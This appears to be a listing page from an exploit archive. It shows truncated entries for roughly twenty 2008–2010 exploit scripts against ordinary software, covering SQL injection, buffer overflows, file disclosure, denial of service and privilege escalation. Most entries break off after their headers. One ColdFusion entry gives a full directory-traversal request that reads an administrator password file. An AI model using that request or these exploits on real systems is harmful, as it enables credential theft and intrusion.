Alice 2.2 - Arbitrary Code Execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: Alice 2.2 Arbitrary Code Execution Exploit Date: Dec 5, 2010 Author: Rew Email: rew splat leethax.info Link: http://alice.org/index.php Version: 2.2 Windows Tested on: WinXP CVE: NA 0day This was a fun one to exploit. Let me explain... Alice...

Foxit Reader 4.1.1 Stack Overflow

!/usr/bin/python preamble =...

Cilem Haber 1.4.4 Database Disclosure

!/usr/bin/env python -- coding:cp1254 -- ''' Title : Cilem Haber v1.4.4 Tr Database Disclosure Exploit .py Down. Script : http://www.aspindir.com/indir.asp?id=3287&sIslem=%DDndir Proof : http://img718.imageshack.us/img718/7993/cilem.jpg Tested : Windows XP Professional sp3 Author : ZoRLu /...

Bka Haber 1.0 File Disclosure

!/usr/bin/env python -- coding:cp1254 -- ''' 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site :...

Adobe ColdFusion Directory Traversal Vulnerability

No description provided by source. Working GET request courtesy of carnal0wnage: http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm" !/usr/bin/pytho...

Webspell wCMS-Clanscript4.01.02net - static Blind SQL Injection

Webspell wCMS-Clanscript4.01.02net - static Blind SQL Injection ----------------------------Information------------------------------------------------ +Autor : Easy Laster +ICQ : 11-051-551 +Date : 29.09.2010 +Script : Webspell wCMS-Clanscript4.01.02net= static&static Blind SQL Injection Exploit...

Honestech VHS To DVD 3.0.30 Deluxe Buffer Overflow

!/usr/bin/python Exploit Title: Honestech VHS to DVD \r\n\ \r\n\ MAINDLG\r\n\ PAGE=0\r\n\ \r\n\ AVICODEC\r\n\ VIDEOCODEC=DivX 6.8.5 Codec 2 Logical CPUs\r\n\ AUDIOCODEC=MPEG Layer-3\r\n\ \r\n\ WMVINFO\r\n\ TITLE= \r\n\ AUTHOR= \r\n\ COPYRIGHT= \r\n\ DESCRIPTION= \r\n\ \r\n\ CAPTUREINFO\r\n...

ASPired2Count File Disclosure Exploit (.py)

Exploit for asp platform in category web applications =========================================== ASPired2Count File Disclosure Exploit .py =========================================== !/usr/bin/env python -- coding:cp1254 -- ''' The Net Guys ASPired2Count File Disclosure Exploit .py its not...

Linux Kernel 2.6.33.3 - SCTP INIT Remote Denial of Service

From: http://jon.oberheide.org/files/sctp-boom.py !/usr/bin/env python ''' sctp-boom.py Linux Kernel http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1173 The sctpprocessunkparam function in net/sctp/smmakechunk.c in the Linux kernel 2.6.33.3 and earlie...

MJB Data (gallery.php id) SQL Injection Exploit (.py)

Exploit for php platform in category web applications ===================================================== MJB Data gallery.php id SQL Injection Exploit .py ===================================================== !/usr/bin/env python -- coding:cp1254 -- MJB Data gallery.php id SQL Injection Exploi...

Esa V 2.0 (kategori.php Kategori_x) SQL Injection Exploit (.py)

Exploit for php platform in category web applications =============================================================== Esa V 2.0 kategori.php Kategorix SQL Injection Exploit .py =============================================================== !/usr/bin/env python -- coding:cp1254 -- Esa V 2.0...

python-cjson buffer overflow

Buffer overflow on python script parsing...

OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7

No description provided by source. !/usr/bin/python Exploit Title: OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7 Date: 1st June 2010 Author: d1dn0t didnot A-T me.com Software Link: http://www.pizza.org/evocam.dmg Version: EvoCam 3.6.6 and 3.6.7 Tested on: OS X 10.5.8 Intel import...

Mediacoder v0.7.3.4672 SEH Exploit

Exploit for windows platform in category local exploits ================================== Mediacoder v0.7.3.4672 SEH Exploit ================================== !/usr/bin/python from sys import argv Title: Mediacoder v0.7.3.4672 SEH Exploit Author: Stoke from devilc0de crew...

CompleteFTP Server v 3.3.x "PORT" command Remote DOS exploit

Exploit for windows platform in category dos / poc ============================================================ CompleteFTP Server v 3.3.x "PORT" command Remote DOS exploit ============================================================...

avast! 4.7 aavmker4.sys privilege escalation

No description provided by source. !/usr/bin/python avast! 4.7 aavmker4.sys privilege escalation http://www.trapkit.de/advisories/TKADV2008-002.txt CVE-2008-1625 Tested on WindXpSp2/Sp3 Dep ON Matteo Memelli ryujin A-T offensive-security.com www.offensive-security.com Spaghetti & Pwnsauce -...

NIBE heat pump LFI Exploit

Exploit for hardware platform in category remote exploits ========================== NIBE heat pump LFI Exploit ========================== !/usr/bin/python import socket,sys,os,base64 NIBE heat pump LFI exploit Written by Jelmer de Hen Published at http://h.ackack.net/?p=302 Special thanks to...

Linux write() & exit(0) shellcode genearator with customizable text

No description provided by source. !/usr/bin/python Linux write & exit0 shellcode genearator with customizable text Usage: ./generator msg Author: Stoke Tested on: Ubuntu 8.10 E-mail: stoke95atyahoodotit Web: hack2web.altervista.org Visit: blasterhacking.forumcommunity.net import re, sys def...

Speed Commander 13.10 - .zip Memory Corruption

Speed Commander 13.10 - .zip Memory Corruption !/usr/bin/python Title: Speed Commander 13.10 .zip Memory Corruption Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c Found by: TecR0c Platform: Windows XP sp3 En Advisory:...

ZipCentral (.zip) 0day SEH Exploit

Exploit for windows platform in category local exploits ================================== ZipCentral .zip 0day SEH Exploit ================================== !/usr/bin/python Title: ZipCentral .zip 0day SEH exploit Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c Download:...